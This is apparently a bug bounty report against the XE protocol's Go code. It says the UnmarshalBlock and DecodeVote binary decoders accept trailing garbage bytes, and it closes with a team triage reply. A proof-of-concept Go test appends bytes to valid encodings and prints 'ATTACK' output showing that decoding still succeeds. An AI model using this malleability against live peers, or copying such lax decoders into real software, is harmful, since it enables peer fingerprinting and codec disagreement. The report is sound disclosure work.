Bounty
XE-0945 · Bounty

UnmarshalBlock and DecodeVote silently ignore trailing bytes

Triaging claimed Minor web filed 2026-11-06 19:54 UTC by byfor8

Report

Summary

UnmarshalBlock and DecodeVote are the binary codecs for blocks and votes; a well-formed body plus leftover bytes should fail the way a strict decoder would. At core/encoding.go:529-533 UnmarshalBlock reads PoWNonce only when len(data)==tailOffset+8 and then returns b, nil, and at :693-709 DecodeVote copies sigLen bytes at offset 140 and returns, leaving extra bytes unused. Exact encoding plus trailing garbage therefore succeeds and yields the same fields and hash as the exact encoding. Gossip, disk, and test fixtures that decode peer bytes all take these helpers. GitHub #53 is block gossip forwarding garbage signatures and #45 is statechain gossip hash-only admission; this is the binary codec dropping leftover bytes after a well-formed body.

Affected components

core/encoding.go:529-533 UnmarshalBlock (return on well-formed body, no leftover check); core/encoding.go:693-709 DecodeVote (copy sigLen at offset 140, extra bytes unused) at xe 02e9641b0ac64437f57e09d63301f88cce61a802.

Impact

Different byte strings hash and verify as the same block. A peer can fingerprint or route-block by trailing tag; future byte-exact codec equality will disagree silently. No state corruption today; the encoding is malleable.

PoC

package round3

import (
	"bytes"
	"encoding/hex"
	"fmt"
	"testing"

	"github.com/xeprotocol/xe/core"
)

func TestPoC_B8(t *testing.T) {
	fmt.Printf("PROVENANCE: xe=%s file=poc/round3/b8_trailing_bytes_test.go\n", pinXE)
	core.SetNetworkID("")

	acc := hex.EncodeToString(bytesN(0xaa, 32))
	prev := hex.EncodeToString(bytesN(0xbb, 32))
	src := hex.EncodeToString(bytesN(0xcc, 32))
	b := &core.Block{
		Type:      core.BlockReceive,
		Account:   acc,
		Previous:  prev,
		Balance:   7,
		Amount:    7,
		Timestamp: 1,
		Asset:     "XE",
		Source:    src,
	}
	enc, err := core.MarshalBlock(b)
	if err != nil {
		t.Fatalf("MarshalBlock: %v", err)
	}
	ctrl, err := core.UnmarshalBlock(enc)
	if err != nil {
		t.Fatalf("CONTROL UnmarshalBlock: %v", err)
	}

	garbage := []byte{0xDE, 0xAD, 0xBE, 0xEF, 0x00, 0x01}
	atkEnc := append(append([]byte{}, enc...), garbage...)
	got, err := core.UnmarshalBlock(atkEnc)
	fmt.Printf("CONTROL UnmarshalBlock(exact) err=%v type=%s balance=%d\n", err, ctrl.Type, ctrl.Balance)
	fmt.Printf("ATTACK  UnmarshalBlock(exact+%d trailing) err=%v type=%s balance=%d\n", len(garbage), err, func() core.BlockType {
		if got != nil {
			return got.Type
		}
		return ""
	}(), func() uint64 {
		if got != nil {
			return got.Balance
		}
		return 0
	}())

	vote := &core.Vote{
		RepPubKey:       hex.EncodeToString(bytesN(0x11, 32)),
		BlockHash:       hex.EncodeToString(bytesN(0x22, 32)),
		ConflictAccount: hex.EncodeToString(bytesN(0x33, 32)),
		ConflictPrev:    "0",
		Timestamp:       2,
		Final:           false,
		Signature:       bytesN(0x44, 64),
	}
	vEnc, err := core.EncodeVote(vote)
	if err != nil {
		t.Fatalf("EncodeVote: %v", err)
	}
	vCtrl, err := core.DecodeVote(vEnc)
	if err != nil {
		t.Fatalf("CONTROL DecodeVote: %v", err)
	}
	vAtk, vErr := core.DecodeVote(append(append([]byte{}, vEnc...), garbage...))
	fmt.Printf("CONTROL DecodeVote(exact) err=%v hash=%s\n", err, vCtrl.BlockHash[:16])
	fmt.Printf("ATTACK  DecodeVote(exact+trailing) err=%v hash=%s\n", vErr, func() string {
		if vAtk != nil {
			return vAtk.BlockHash[:16]
		}
		return ""
	}())

	blockOK := err == nil && got != nil && got.Balance == 7 && got.Type == core.BlockReceive && !bytes.Equal(enc, atkEnc)
	voteOK := vErr == nil && vAtk != nil && vAtk.BlockHash == vote.BlockHash
	if blockOK && voteOK {
		fmt.Println("PASS: UnmarshalBlock and DecodeVote succeed and ignore trailing garbage; CONTROL exact encodings decode")
		fmt.Println("VERDICT=CONFIRMED")
		return
	}
	fmt.Println("VERDICT=KILLED")
}
ATTACK UnmarshalBlock(exact+6 trailing) err=<nil> type=receive balance=7
ATTACK DecodeVote(exact+trailing) err=<nil> hash=2222222222222222
PASS: UnmarshalBlock and DecodeVote succeed and ignore trailing garbage

Suggested fix

Fail UnmarshalBlock and DecodeVote when leftover bytes remain after the well-formed body. Treat trailing garbage as invalid encoding.

Thread

Joseph Denneteam2026-11-08 20:17 UTCdesk

Thank you for the report. We have read it in full and confirmed the decoder behaviour you describe; we also checked how those functions are used in the current tree, which bounds the effect. It is being tracked and we will update you here once the team has ruled on it.